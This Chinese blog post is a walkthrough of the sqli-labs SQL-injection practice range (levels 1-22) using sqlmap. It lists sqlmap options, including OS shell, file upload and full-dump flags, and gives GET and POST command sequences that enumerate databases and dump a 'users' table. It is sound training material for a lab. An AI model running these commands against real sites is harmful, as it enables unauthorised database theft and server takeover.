【SQL注入】 sqli-labs靶场(1-22关) sqlmap注入

Shadow_143

已于 2024-07-30 17:43:41 修改

阅读量876

点赞数 22

文章标签： sql 数据库服务器安全 web安全

于 2024-06-29 18:55:09 首次发布

本文链接：https://blog.csdn.net/weixin_73442302/article/details/140068738

版权

sqlmap常见参数使用：

-h                  输出参数说明
-hh                 输出详细的参数说明
-v                  输出级别（0~6，默认1）
-u url              指定url
--data=DATA         该参数指定的数据会被作为POST数据提交
-r file.txt         常用于POST注入或表单提交时注入
-p / --skip         指定/跳过测试参数
--cookie            设置cookie
--force-ssl         强制使用SSL
--threads           指定线程并发数
--prefix            指定前缀
--suffix            指定后缀
--level             检测级别（1~5，默认1）
--risk              风险等级（1~4，默认1）
--all               列举所有可访问的数据（不推荐）
--banner            列举数据库系统的信息等
--current-user      输出当前用户
--current-db        输出当前所在数据库
--hostname          输出服务器主机名
--is-dba            检测当前用户是否为管理员
--users             输出数据库系统的所有用户
--dbs               输出数据库系统的所有数据库
-D DB               指定数据库
--tables            在-D情况下输出库中所有表名
-T table            在-D情况下指定数据表
--columns           在-D -T情况下输出表中所有列名
-C column           在-D -T情况下输出某列数据的值
--dump              拉取数据存放到本地
--dump-all          拉取所有可访问数据存放到本地
--count             输出数据条目数量
--search            搜索数据库名、表明、列名，需要与-D -T或-C 联用
--sql-query         执行任意的SQL语句
--sql-shell         使用交互式SQL语句执行环境
--flie-read         读取文件
--file-write        上传文件（指定本地路径）
--file-dest         上传文件（指定目标机器路径）
--os-cmd            执行任意系统命令
--os-shell          使用交互式shell执行命令
--batch             所有要求输入都选取默认值
--wizard            初学者向导

less1-10 get型

猜解当前数据库名称
sqlmap -u url --batch --current-db
猜解表名
sqlmap -u url --batch -D "security" --tables
猜解字段
sqlmap -u url -D "security" -T "users" --columns
脱库
sqlmap -u url -D "security" -T "users" --dump

以第五题为例

1.猜解当前数据库名称

2.猜解表名

我们得到敏感数据表名 ' users '

3.猜解字段

4.脱库

less11-17 post型

启动sqlmap探测注入点
sqlmap -u url --data="uname=admin&passwd=admin" --batch
爆破当前数据库名
sqlmap -u url --data="uname=admin&passwd=admin" --batch --current-db
爆破数据表
sqlmap -u url --data="uname=admin&passwd=admin" --batch -D security --tables
最后脱库
sqlmap -u url --data="uname=admin&passwd=admin" --batch -D security -T users --dump

以12题为例

启动sqlmap探测注入点，剩下步骤同get型